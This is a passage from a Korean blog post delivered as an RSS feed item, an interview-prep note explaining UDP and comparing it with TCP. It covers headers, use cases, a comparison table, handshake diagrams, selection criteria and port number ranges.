&lt;p&gt;&lt;strong&gt;이유:&lt;/strong&gt; 데이터의 정확성이 중요합니다. 예를 들어, 사용자가 &amp;quot;1,000,000원 송금&amp;quot; 버튼을 눌렀는데 &amp;quot;0&amp;quot; 하나가 빠져서 &amp;quot;1,000원&amp;quot;만 송금되면 안 됩니다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;동작:&lt;/strong&gt; Spring Boot(Tomcat)가 8080포트를 열어두고(Listen), React(브라우저)가 3-Way Handshake로 연결을 맺은 뒤 안전하게 JSON 데이터를 주고받습니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;3. UDP (User Datagram Protocol)&lt;/h2&gt;
&lt;h3&gt;&lt;strong&gt;UDP의 정의&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;UDP(User Datagram Protocol)&lt;/strong&gt;는 전송 계층에서 사용되는 &lt;strong&gt;비연결형(Connectionless)&lt;/strong&gt;, &lt;strong&gt;비신뢰성(Unreliable)&lt;/strong&gt; 프로토콜입니다. 속도가 최우선이며, 복잡한 절차 없이 데이터를 전송합니다.&lt;/p&gt;
&lt;h3&gt;&lt;strong&gt;UDP의 핵심 특징&lt;/strong&gt;&lt;/h3&gt;
&lt;h4&gt;&lt;strong&gt;1. 비연결형 (Connectionless)&lt;/strong&gt;&lt;/h4&gt;
&lt;p&gt;연결 설정 없이 데이터를 전송합니다. 3-Way Handshake 같은 과정이 없습니다.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;클라이언트                    서버
    |                         |
    |---- 데이터 전송 -------&amp;gt;|  [즉시 전송]
    |                         |&lt;/code&gt;&lt;/pre&gt;&lt;h4&gt;&lt;strong&gt;2. 단순한 헤더&lt;/strong&gt;&lt;/h4&gt;
&lt;p&gt;TCP 헤더는 20바이트 이상인데, UDP 헤더는 8바이트로 매우 가볍습니다. 덕분에 전송 속도가 빠릅니다.&lt;/p&gt;
&lt;h4&gt;&lt;strong&gt;3. 신뢰성 없음&lt;/strong&gt;&lt;/h4&gt;
&lt;p&gt;데이터가 전송 중 손실되어도 재전송하지 않습니다. 확인 응답(ACK)이나 재전송 메커니즘이 없습니다.&lt;/p&gt;
&lt;h4&gt;&lt;strong&gt;4. 흐름 제어 및 혼잡 제어 없음&lt;/strong&gt;&lt;/h4&gt;
&lt;p&gt;UDP는 흐름 제어나 혼잡 제어 기능이 없습니다. 데이터를 보내는 속도나 네트워크 상태를 고려하지 않습니다.&lt;/p&gt;
&lt;h3&gt;&lt;strong&gt;UDP 헤더 구조&lt;/strong&gt;&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt; 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          Source Port          |       Destination Port        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            Length             |           Checksum            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;strong&gt;주요 필드:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Source Port / Destination Port&lt;/strong&gt;: 송신자/수신자 포트 번호&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Length&lt;/strong&gt;: UDP 헤더 + 데이터의 전체 길이&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Checksum&lt;/strong&gt;: 오류 검사를 위한 체크섬 (선택적)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;TCP 헤더(20바이트) vs UDP 헤더(8바이트)&lt;/strong&gt;: UDP가 훨씬 가볍습니다.&lt;/p&gt;
&lt;h3&gt;&lt;strong&gt;UDP의 사용 사례&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;실시간성이 중요한 곳에서는 UDP가 적합합니다.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;동영상 스트리밍 / 화상 회의&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;일부 패킷 손실 허용 가능&lt;/li&gt;
&lt;li&gt;낮은 지연 시간 중요&lt;/li&gt;
&lt;li&gt;영상에서 1프레임이 깨져도 영상이 멈추고 다시 받아오는 것보다, 살짝 뭉개지고 계속 재생되는 것이 더 나은 사용자 경험을 제공합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;온라인 게임&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;실시간 반응성 중요&lt;/li&gt;
&lt;li&gt;일부 데이터 손실 허용 가능&lt;/li&gt;
&lt;li&gt;데이터 확인 절차로 인한 지연은 게임 플레이에 치명적입니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;DNS 조회&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;빠른 응답 필요&lt;/li&gt;
&lt;li&gt;단순한 요청/응답&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;VoIP (Voice over IP)&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;실시간 음성 통신&lt;/li&gt;
&lt;li&gt;낮은 지연 시간 중요&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;DHCP (Dynamic Host Configuration Protocol)&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;빠른 IP 주소 할당&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;hr&gt;
&lt;h2&gt;4. TCP vs UDP 비교&lt;/h2&gt;
&lt;h3&gt;&lt;strong&gt;핵심 차이점&lt;/strong&gt;&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th align=&quot;center&quot;&gt;구분&lt;/th&gt;
&lt;th align=&quot;center&quot;&gt;TCP&lt;/th&gt;
&lt;th align=&quot;center&quot;&gt;UDP&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td align=&quot;center&quot;&gt;&lt;strong&gt;연결 방식&lt;/strong&gt;&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;연결 지향형 (Connection-oriented)&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;비연결형 (Connectionless)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;center&quot;&gt;&lt;strong&gt;신뢰성&lt;/strong&gt;&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;신뢰성 보장 (데이터 손실 없음)&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;비신뢰성 (데이터 손실 가능)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;center&quot;&gt;&lt;strong&gt;순서 보장&lt;/strong&gt;&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;순서 보장&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;순서 보장 안 함&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;center&quot;&gt;&lt;strong&gt;속도&lt;/strong&gt;&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;상대적으로 느림&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;빠름&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;center&quot;&gt;&lt;strong&gt;오류 복구&lt;/strong&gt;&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;자동 재전송&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;없음&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;center&quot;&gt;&lt;strong&gt;흐름 제어&lt;/strong&gt;&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;있음 (슬라이딩 윈도우)&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;없음&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;center&quot;&gt;&lt;strong&gt;혼잡 제어&lt;/strong&gt;&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;있음&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;없음&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;center&quot;&gt;&lt;strong&gt;헤더 크기&lt;/strong&gt;&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;20바이트 (가변)&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;8바이트 (고정)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;center&quot;&gt;&lt;strong&gt;오버헤드&lt;/strong&gt;&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;큼&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;작음&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;center&quot;&gt;&lt;strong&gt;통신 방식&lt;/strong&gt;&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;일대일 (Unicast)&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;일대일, 일대다, 다대다&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;center&quot;&gt;&lt;strong&gt;대표 서비스&lt;/strong&gt;&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;웹(HTTP), 이메일, 파일 전송&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;스트리밍, 게임, DNS&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;center&quot;&gt;&lt;strong&gt;비유&lt;/strong&gt;&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;등기 우편 (서명 필수)&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;방송국 송출 (안 보면 끝)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;h3&gt;&lt;strong&gt;연결 설정 과정 비교&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;TCP (3-way handshake 필요):&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;클라이언트                    서버
    |                         |
    |---- SYN (seq=x) -------&amp;gt;|
    |                         |
    |&amp;lt;-- SYN-ACK (seq=y, ack=x+1) --|
    |                         |
    |---- ACK (ack=y+1) ------&amp;gt;|
    |                         |
  [연결 설정 완료]&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;strong&gt;UDP (연결 설정 없음):&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;클라이언트                    서버
    |                         |
    |---- 데이터 전송 --------&amp;gt;|
    |                         |
  [즉시 전송]&lt;/code&gt;&lt;/pre&gt;&lt;hr&gt;
&lt;h2&gt;5. TCP와 UDP의 선택 기준&lt;/h2&gt;
&lt;h3&gt;&lt;strong&gt;선택 기준&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;면접에서 &amp;quot;TCP와 UDP 중 무엇을 쓸 건가요?&amp;quot;라고 묻는다면, 정답은 &lt;strong&gt;&amp;quot;서비스의 목적에 따라 다릅니다&amp;quot;&lt;/strong&gt;입니다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;TCP를 선택해야 하는 경우:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;데이터의 정확성이 중요한 경우&lt;/li&gt;
&lt;li&gt;데이터의 순서가 중요한 경우&lt;/li&gt;
&lt;li&gt;대용량 데이터 전송&lt;/li&gt;
&lt;li&gt;연결 지향적 통신이 필요한 경우&lt;/li&gt;
&lt;li&gt;신뢰성이 속도보다 중요한 경우&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;예시:&lt;/strong&gt; 회원가입, 결제, 데이터 저장, 파일 다운로드, 이메일, 웹 페이지 로딩, Spring Boot &amp;amp; React 앱의 모든 통신&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;UDP를 선택해야 하는 경우:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;속도와 실시간성이 중요한 경우&lt;/li&gt;
&lt;li&gt;일부 데이터 손실이 허용되는 경우&lt;/li&gt;
&lt;li&gt;빠른 응답이 필요한 경우&lt;/li&gt;
&lt;li&gt;멀티캐스트/브로드캐스트가 필요한 경우&lt;/li&gt;
&lt;li&gt;오버헤드를 최소화해야 하는 경우&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;예시:&lt;/strong&gt; 라이브 방송, 게임, 동영상 스트리밍, DNS 조회&lt;/p&gt;
&lt;h3&gt;&lt;strong&gt;실무에서의 활용&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;우리가 주로 다루는 HTTP(Spring, Node, React)는 기본적으로 신뢰성을 위해 TCP를 사용합니다.&lt;/p&gt;
&lt;p&gt;최근에는 구글이 만든 HTTP/3처럼, UDP를 기반으로 하되 TCP의 신뢰성 기능을 포함한 새로운 기술들도 등장하고 있습니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;요약&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;TCP&lt;/strong&gt;는 연결 지향형, 신뢰성 있는 프로토콜로 데이터의 정확성과 순서를 보장합니다. 3-way handshake로 연결을 설정하고, ACK, 재전송, 흐름 제어, 혼잡 제어를 통해 신뢰성을 보장합니다.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;UDP&lt;/strong&gt;는 비연결형, 비신뢰성 프로토콜로 빠른 전송 속도와 낮은 오버헤드를 제공합니다. 연결 설정 없이 즉시 데이터를 전송하며, 오류 복구나 흐름 제어 기능이 없습니다.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;TCP&lt;/strong&gt;는 데이터의 정확성이 중요한 웹 브라우징, 이메일, 파일 전송에 사용되고, &lt;strong&gt;UDP&lt;/strong&gt;는 실시간성이 중요한 동영상 스트리밍, 온라인 게임, DNS 조회에 사용됩니다.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;선택 기준&lt;/strong&gt;: 데이터 정확성이 중요하면 TCP, 속도와 실시간성이 중요하면 UDP를 선택합니다. Spring Boot &amp;amp; React 앱은 대부분 TCP를 사용합니다.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;참고 자료&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://tools.ietf.org/html/rfc793&quot;&gt;RFC 793 - Transmission Control Protocol&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://tools.ietf.org/html/rfc768&quot;&gt;RFC 768 - User Datagram Protocol&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.amazon.com/TCP-Illustrated-Vol-Addison-Wesley-Professional/dp/0201633469&quot;&gt;TCP/IP Illustrated, Volume 1&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h3&gt;예상 꼬리질문 정리&lt;/h3&gt;
&lt;h4&gt;4. UDP는 신뢰성이 없는데 왜 사용하나?&lt;/h4&gt;
&lt;p&gt;UDP는 신뢰성이 없지만 다음과 같은 장점이 있습니다:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;빠른 전송 속도&lt;/strong&gt;: 연결 설정/해제 과정 없음&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;낮은 오버헤드&lt;/strong&gt;: 헤더가 8바이트로 작음 (TCP는 20바이트 이상)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;실시간성&lt;/strong&gt;: 지연 시간이 짧음&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;멀티캐스트 지원&lt;/strong&gt;: 일대다 통신 가능&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;사용 사례:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;동영상 스트리밍: 일부 프레임 손실은 허용 가능&lt;/li&gt;
&lt;li&gt;온라인 게임: 실시간 반응성이 중요&lt;/li&gt;
&lt;li&gt;DNS 조회: 빠른 응답 필요&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;애플리케이션 레벨에서 신뢰성 보장:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;일부 애플리케이션은 UDP 위에 자체 신뢰성 메커니즘을 구현&lt;/li&gt;
&lt;li&gt;예: &lt;strong&gt;QUIC 프로토콜&lt;/strong&gt; (UDP 기반, TCP의 신뢰성 기능 포함) - HTTP/3에서 사용!&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;5. TCP와 UDP의 포트 번호는 어떻게 사용되나?&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;포트 번호&lt;/strong&gt;는 전송 계층에서 애플리케이션을 구분하는 식별자입니다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;포트 번호 범위:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Well-known Ports (0-1023)&lt;/strong&gt;: 시스템 예약 포트&lt;ul&gt;
&lt;li&gt;HTTP: 80 (TCP)&lt;/li&gt;
&lt;li&gt;HTTPS: 443 (TCP)&lt;/li&gt;
&lt;li&gt;DNS: 53 (UDP)&lt;/li&gt;
&lt;li&gt;SSH: 22 (TCP)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Registered Ports (1024-49151)&lt;/strong&gt;: 등록된 애플리케이션&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Dynamic/Private Ports (49152-65535)&lt;/strong&gt;: 동적 할당&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;TCP와 UDP는 포트 번호를 독립적으로 사용:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;같은 포트 번호라도 TCP와 UDP는 별개&lt;/li&gt;
&lt;li&gt;예: TCP 53과 UDP 53은 다른 서비스&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;관련 노트&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;[[3 Way Handshake]]&lt;/strong&gt; - TCP 연결 설정 과정&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;[[OSI 7계층 모델]]&lt;/strong&gt; - 전송 계층의 위치와 역할&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;[[포트 (Port)]]&lt;/strong&gt; - 포트 번호의 개념과 사용법&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;p&gt;&lt;strong&gt;태그:&lt;/strong&gt; #network #tcp #udp #전송계층 #프로토콜 #면접 #개념정리&lt;/p&gt;</description>
      <category>Network</category>
      <author>jaemeon</author>
      <guid isPermaLink="true">https://jaemeon.tistory.com/127</guid>
      <comments>https://jaemeon.tistory.com/127#entry127comment</comments>
      <pubDate>Fri, 23 Jan 2026 11:35:11 +0900</pubDate>
    </item>
  </channel>
</rss>